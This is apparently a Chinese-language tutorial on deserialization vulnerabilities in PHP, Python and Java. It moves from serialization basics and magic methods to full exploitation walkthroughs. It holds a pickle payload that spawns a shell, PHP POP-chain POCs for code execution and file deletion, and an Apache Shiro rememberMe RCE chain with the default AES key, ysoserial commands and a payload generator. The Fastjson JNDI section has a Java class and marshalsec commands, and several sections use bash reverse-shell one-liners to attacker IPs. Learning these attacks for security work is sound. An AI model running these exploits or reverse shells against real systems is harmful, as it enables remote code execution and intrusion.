反序列化漏洞

反序列化漏洞

参考:https://www.anquanke.com/post/id/224769

原理

  • 序列化

    概念:将对象转换成字节序列(json/xml文件)。

    作用:在传递和保存对象时,序列化可以保证对象的完整性和可传递性。对象被转换为有序字节序列,以便在网络上传输或者保存在本地文件中。

  • 反序列化

    概念:将字节序列(json/xml文件)转换成对象。

    作用:根据字节序列中保存的对象状态及描述信息,通过反序列化重建对象。

序列化的优点

将对象转为字节流存储到硬盘上,当 JVM (java虚拟机)停机的话,字节流还会在硬盘上默默等待,等待下一次JVM的启动,把序列化的对象,通过反序列化为原来的对象,并且序列化的二进制序列能够减少存储空间(永久性保存对象)。

序列化为字节流形式的对象可以进行网络传输(二进制形式),方便了网络传输。

通过序列化可以在进程间传递对象。

序列化的实现

java

Java中,只有实现了 Serializable 或者 Externalizable 接口的类的对象才能被序列化为字节序列。

1
2
3
4
5
6
7
// 序列化
java.io.ObjectOutputStream:对象输出流。
该类的writeObject(Object obj)方法将将传入的obj对象进行序列化,把得到的字节序列写入到目标输出流中进行输出。

// 反序列化
java.io.ObjectInputStream:对象输入流。
该类的readObject()方法从输入流中读取字节序列,然后将字节序列反序列化为一个对象并返回。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class SerializableTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//序列化
FileOutputStream fos = new FileOutputStream("object.out");
ObjectOutputStream oos = new ObjectOutputStream(fos); // 将序列化的输出定向到fos
Student student1 = new Student("lihao", "wjwlh", "21");
oos.writeObject(student1);
oos.flush();
oos.close();
//反序列化
FileInputStream fis = new FileInputStream("object.out");
ObjectInputStream ois = new ObjectInputStream(fis);
Student student2 = (Student) ois.readObject();
System.out.println(student2.getUserName()+ " " +
student2.getPassword() + " " + student2.getYear());
}
}

另外java还有其他序列化实现方式,比如 json、==fastjson==、ProtoBuffHessianKyro等。

参考:https://blog.csdn.net/m0_46201444/article/details/115081351。

php

php中,序列化和反序列化对应的函数分别为 serialize() 和 **unserialize()**。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$sites=array('I', 'Like', 'PHP');
var_dump(serialize($sites)); // 对数组进行序列化

class man{
public $name="xiaocui";
public $sex="man";
private $age=26;
}
$M = newman(); //创建一个对象
var_dump(serialize($M)); // 对对象进行序列化
?>

数组的序列化

1
2
3
4
5
"a:3:{i:0;s:1:"I";i:1;s:4:"Like";i:2;s:3:"PHP";}"

a:3 a代表一数组,3代表数组中有3个元素
i:0 代表元素的下标值为0
s:1 代表元素的数据类型为字符型,长度为1

对象的序列化

1
2
3
4
5
"O:3:"man":3:{s:4:"name";s:7:"xiaocui";s:3:"sex";s:3:"man";s:8:"manage";i:26;}"

O:3 代表是一个对象,其类名的长度为3
3 代表类中的字段数
s:4 代表属性的类型为字符型,长度为4

测试:

数组的序列化和反序列化

1
2
3
4
5
<?php
$stu=['tom', 'berry', 'ketty'];
$str=serialize($stu); // 序列化
file_put_contents('./stu.txt', $str);
?>
image-20220805122702017
1
2
3
4
5
6
<?php
// 数组的反序列化
$str=file_get_contents('./stu.txt');
$stu=unserialize($str);
print_r($stu);
?>

image-20220805122807404

对象的序列化和反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Student {
public $name;
protected $sex;
private $add;
public function __construct($name, $sex, $add){
$this->name=$name;
$this->sex=$sex;
$this->add=$add;
}
}

// 测试
$stu=new Student('tom', '男', '北京');
// 序列化
$str=serialize($stu);
file_put_contents('./stu.txt', $str);

?>
image-20220805122910666
1
2
3
4
5
6
<?php
// 反序列化
$str=file_get_contents('./stu.txt');
$stu=unserialize($str);
var_dump($stu);
?>

image-20220805123011403

python

Python中序列化一般有两种方式: pickle模块和json模块, 前者是Python特有的格式, 后者是json通用的格式.

pickle有如下四种操作方法:

1
2
3
4
dump	对象序列化到文件对象并存入文件
dumps 对象序列化为 bytes 对象
load 对象反序列化并从文件中读取数据
loads 从 bytes 对象反序列化

实例:

1
2
3
4
5
6
7
8
9
import pickle
class Demo():
def init(self, name='h3rmesk1t'):
self.name = name

print(pickle.dumps(Demo()))
# 序列化输出为b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Demo\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\th3rmesk1t\x94sb.'
print(pickle.loads(pickle.dumps(Demo())).name)
# 反序列化输出为 h3rmesk1t

python反序列化漏洞原理:

python反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。类似于PHP中的__wakeup()方法。

payload:

1
2
3
4
5
6
7
8
9
10
import os
import pickle

class Demo(object):
def __reduce__(self):
shell = '/bin/sh'
return (os.system,(shell,))

demo = Demo()
pickle.loads(pickle.dumps(demo)) # 反序列化创建对象时调用__reduce__,执行恶意代码

魔术方法

序列化或反序列化的过程中会自动调用一些魔术方法。

php 中 magic函数命名是以符号“__”开头的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__construct:当一个对象创建时调用(constructor)

__destruct:当一个对象被销毁时调用(destructor)

__invoke():当把一个类当作函数使用时自动调用

__toString:当一个对象被当作一个字符串处理时自动调用

__sleep:在使用serialize()函数时,程序会检查类中是否存在一个__sleep()魔术方法。如果存在,则该方法会先被调用,然后再执行序列化操作。

__wakeup:在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。

__call():在对象中调用一个不存在或者不可访问方法时,__call会被调用。

__set():给不可访问属性赋值时,__set会被调用。

__isset():对不可访问属性调用isset()或empty()时,__isset()会被调用。

__unset():对不可访问属性调用unset()时,__unset()会被调用。

__get():读取不可访问属性的值时,__get会被调用。

漏洞成因

PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。

PHP反序列化漏洞的形成的根本原因是程序没有对用户输入的序列化字符串进行检测,导致反序列化过程可以被恶意控制(执行魔术方法),进而造成代码执行(XSS等)、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。如果用户自定义了一些恶意数据在序列化字符串中,在反序列化为对象时,其中的变量被用于命令执行等操作,就会造成反序列化漏洞。

注意反序列化对象时,不会调用对象的构造函数,因为是反序列化得来的。但是在程序结束时会调用对象的析构函数。

利用方式

利用条件

  1. 反序列化函数中的参数可控(Java反序列化等)
  2. 存在可利用的类,且类中有魔术方法(php、python反序列化等)

例如,有如下PHP实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php   

class test{
var $id = 'Baize';

function __wakeup(){
eval($this->id);
}
}

$test1 = $_GET['string'];
$test2 = unserialize($test1);

?>

可以确定可控参数是GET型string参数,并且后端接收参数后会进行反序列化操作。同时,test类中存在__wakeup魔术方法,操作是eval($id)。

那么我们思路是:构造test类的序列化字符串,使得反序列化后的$id值为要执行的操作(代码执行漏洞),例如我们要执行phpinfo(),那么可以构造这样一个字符串:

1
O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}

这样反序列化会时就会自动调用__wakeup魔术方法,即执行eval(phpinfo();)

image-20220813131438447

POP链构造(php)

其实实际中基本不会有上述实例这种这么简单的利用过程,更多的则是需要通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。关注整个函数的调用过程中参数的传递情况,找到可利用的点。

**POP CHAIN(POP链)**:

通过用户可控的反序列化操作,其中可触发的魔术方法为出发点,在魔术方法中的函数在其他类中存在同名函数,或通过传递,关联等可以调用的其他执行敏感操作的函数,然后传递参数执行敏感操作,即

用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作

实例1

test.php内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test3;
}
function __toString(){ # 如果$obj变量存在则返回调用$obj对象中的Delete()函数
if (isset($this->obj)) return $this->obj->Delete();
}
}

class Test2{ # 存在任意文件删除的漏洞
public $cache_file;
function Delete(){ # 如果定义的$file变量中的文件存在,则删除此文件并返回提示内容
$file = “/var/www/html/cache/tmp/{$this->cache_file}”;
if (file_exists($file)){
@unlink($file);
}
return 'I am a evil Delete function';
}
}

class Test3{
function Delete(){
return 'I am a safe Delete function';
}
}

$user_data = unserialize($_GET['data']);
echo $user_data;
?>

代码分析:

首先我们看最先执行的操作在最下面反序列化GET到的参数data,然后执行echo,这里如果$user_data是一个类实例化来的对象的话,就是将对象作为字符串输出,会触发对象中的__tostring()魔术方法。

而源码中有三个类,各个类具有不同的方法。

POP链构造:

首先出发点是Test1中的__tostring()魔术方法,其中调用了$this->obj中的Delete()函数,而$this->obj在实例化对象时会触发__construct方法,将$this->obj作为实例化Test3类的对象,那么此时调用的就是Test3类中的Delete()函数,只返回一句提示,那么此时的执行流如下:

实例化Test1类的对象→__construct()$this->obj=new Test3→输出该对象时调用__tostring()→Test3的Delete()方法

不过在Test2类中也定义了和Test3中同名的函数Delete(),该方法可能造成任意文件删除。那么我们可以通过构造特定的反序列化参数来修改执行流,也就是构造我们自己的POP链,在反序列化后使用Test2类中的Delete()来执行敏感操作,让执行流如下:

实例化Test1类的对象→__construct()$this->obj=new Test2→输出该对象时调用__tostring()→Test2的Delete方法

那么POP链的构造就是通过反序列化和echo来触发__tostring()魔术方法,并且此方法中调用Test2中的Delete()方法,造成任意文件删除的危害。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test2;
}
}

class Test2{
public $cache_file = '../../../../test.php';
}

$evil = new Test1();
echo urlencode(serialize($evil));
?>

java反射机制

反射 (Reflection) 是 Java 的特征之一,它允许运行中的 Java 程序获取自身的信息,并且可以操作类或对象的内部属性。通过反射,我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。通过Java 反射机制,我们可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。

反射的核心是 JVM 在运行时才动态加载类或调用方法/访问属性,它不需要事先(写代码的时候或编译期)知道运行对象是谁。

Java 反射主要提供以下功能:

在运行时判断任意一个对象所属的类;
在运行时构造任意一个类的对象;
在运行时判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);
在运行时调用任意一个对象的方法
重点:是运行时而不是编译时

反射机制在java反序列化漏洞的利用过程中有很重要的作用。

java反序列化利用

Java 序列化过程依赖于 ObjectOutputStream 类中 writeObject 方法,而反序列化的过程是依赖于 ObjectOutputStream 类中 readObject 方法。若用户重写了自定义的 readObject 方法,那么就有可能产生反序列化的时候命令执行的漏洞点。或者用户精心构造恶意的类的序列化字符串,那么在反序列化实例化这个类时就会执行其中的恶意代码(比如rmi远程代码)。

利用java反射重写 readObject 方法:

反射机制的存在使得我们可以越过Java本身的静态检查和类型约束,在运行期直接访问和修改目标对象的属性和状态。Java反射的四大核心是 Class,Constructor,Field,Method。通过反射的方法重写readObject:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//ReflectionCalcObject.java
package com.l1nk3r.reflect;
import java.io. * ;
import java.lang.reflect.Method;
class ReflectionCalcObject implements Serializable {
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in ) throws IOException,
ClassNotFoundException { in .defaultReadObject(); //调用原始的readOject方法
try {
//通过反射方法执行命令;
Method method = java.lang.Runtime.class.getMethod(“exec”, String.class);
Object result = method.invoke(Runtime.getRuntime(), “open / Applications / Calculator.app / “);
} catch(Exception e) {
e.printStackTrace();
}
}
}

通过运行 java.lang.Runtime 这个类的 .class 属性,并使用 getMethod 方法来获取我们要执行命令的方法 exec ,最后我们通过 invoke 来实现注册这个方法,打开计算器。

防御

  • 最有效的方法是不接受来自不受信任源的序列化对象或者只使用原始数据类型的序列化,但这不容易实现。

  • 完整性检查,如:对序列化对象进行数字签名,以防止创建恶意对象或序列化数据被篡改。

  • 在创建对象前强制执行类型约束,因为用户的代码通常被期望使用一组可定义的类。

绕过

__wakeup()函数绕过

只要序列化的中的成员数大于实际成员数,__wakeup()魔术方法将不会被执行,从而导致绕过。

注意,需要PHP版本<=5.6.25或者PHP版本<=7.0.11

举一个简单的例子,考虑一个使用序列化User对象的网站,该网站将有关用户会话的数据存储在cookie中。如果攻击者在HTTP请求中发现了序列化对象,则可能会对其进行解码以找到以下内容:

1
O:4:"User":2:{s:8:”username”:s:6:”carlos”; s:7:”isAdmin”:b:0;}

注意到这里的isAdmin属性,攻击者可以简单地将该属性的布尔值更改为1(true),重新编码对象,然后使用此修改后的值覆盖其当前cookie。

以及,修改

实例

参考:https://www.freebuf.com/articles/web/286442.html

shiro反序列化漏洞

https://blog.csdn.net/huangyongkang666/article/details/124175812

原理

低版本的apache shiro ( <= 1.2.4版本)默认使用了CookieRememberMeManager。当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中。而服务端接收到cookie后:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码在源码中的,所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而导致反序列化的RCE漏洞。

利用条件

返回包中含有rememberMe=deleteMe字段

用到的工具

  1. ysoserial

    ysoserial集合了各种java反序列化payload,下载地址为https://github.com/frohoff/ysoserial

    安装过程:

    1
    2
    3
    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -D skipTests //需要安装maven才能使用mvn命令
  2. shiro_tool.jar

    集成化工具,下载地址为https://toolaffix.oss-cn-beijing.aliyuncs.com/shiro_tool.jar

    可用于获取目标IP的shiro中是否存在默认的AES密钥。命令如下:

    1
    java -jar shiro_tool.jar http://192.168.241.129:8080

    image-20220813135453985

    1
    kPH+bIxk5D2deZiIxcaaaA==

漏洞利用

  • 测试能否使用rememberMe字段

    使用burp抓取当前页面数据包,在cookie中添加rememberMe=1。若响应包中显示Set-Cookie: rememberMe=deleteMe,说明存在shiro框架,可能存在漏洞。

    image-20220813135630795

  • 监听并构造反弹shell

    通过 ysoserial 中的 JRMP 监听模块,监听4444端口并执行反弹shell命令。

    反弹shell命令:

    1
    2
    3
    bash -i >& /dev/tcp/192.168.241.128/4444 0>&1   //需要base64编码,在线编码http://www.jackson-t.ca/runtime-exec-payloads.html

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}
    1
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}'

    单引号中的就是要执行的命令

  • 构造payload

    利用检测出的AES密钥,生成payload:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # python2

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES

    def encode_rememberme(command): # shellcode
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # AES密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

    if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

    执行上述代码:python shiro.py 192.168.241.129:6666,得到payload,即恶意的rememberMe。

    image-20220813140942501

  • 开启nc监听

    1
    nc -lnvp 6767
  • 抓包,插入恶意rememberMe

    抓包,在cookie中将上面恶意构造的rememberMe发送出去:

    image-20220813141259824

  • 成功getshell

    image-20220813141345531

fastjson反序列化漏洞

原理

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。

在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

用到的工具

预先安装maven并配置环境变量,下载marshalsec,进入marshalsec 目录,使用mvn clean package -DskipTests命令编译出marshalsec的jar包

漏洞利用

  • 生成payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;

    public class TouchFile {
    static {
    try {
    Runtime rt = Runtime.getRuntime();
    String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.2.101/6767 0>&1"};
    Process pc = rt.exec(commands);
    pc.waitFor();
    }
    catch (Exception e) {
    // do nothing
    }
    }
    }

    进行编译生成.class文件。搭建服务,要测试能直连TouchFile.class ,才会执行文件里的命令。

  • 开启rmi服务

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.2.101:4444/#TouchFile" 9999

    其中http://192.168.2.101:4444为你的rmi服务器的地址,9999为rmi监听的端口

  • 开启nc监听,6767为监听的端口

    1
    nc -lnvp 6767
  • 发包

    image-20220813142233557

  • 获得shell

    image-20220813142311472